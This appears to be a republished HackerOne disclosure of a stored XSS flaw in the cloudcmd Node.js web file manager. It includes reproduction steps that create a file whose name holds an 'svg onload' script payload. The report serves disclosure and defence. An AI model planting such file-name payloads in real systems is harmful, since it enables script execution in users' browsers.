HexBrain

Node.js third-party modules · Report #341044

[cloudcmd] Stored XSS in the filename when directories listing

Validstatus
highseverity
2upvotes
25 Apr 2018disclosed

How it was found

I would like to report a Stored XSS issue in module cloudcmd It allows executing malicious javascript code in the user's browser.

Module

module name: cloudcmd version: 9.1.5 npm page: https://www.npmjs.com/package/cloudcmd

Module Description

Cloud Commander is an orthodox web file manager with console and editor.

Module Stats

4,433 downloads in the last week

{F288918}

Vulnerability

Steps To Reproduce:

  • Install the module
$ npm i cloudcmd
  • Run
$ ./node_modules/cloudcmd/bin/cloudcmd.js --root .
  • In the target directory, create a file with name "><svg onload=alert(3);>
bash$ touch '"><svg onload=alert(3);>'

{F288917}

Supporting Material/References:

  • macOS High Sierra 10.13.4
  • node v8.10.0
  • npm 5.6.0
  • Chrome Version 65.0.3325.181 (Official Build) (64-bit)

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

It allows executing malicious javascript code in the user's browser

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original